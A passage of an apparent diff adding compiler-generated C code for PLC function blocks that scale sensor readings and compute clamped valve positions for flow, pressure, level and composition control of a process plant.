Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) 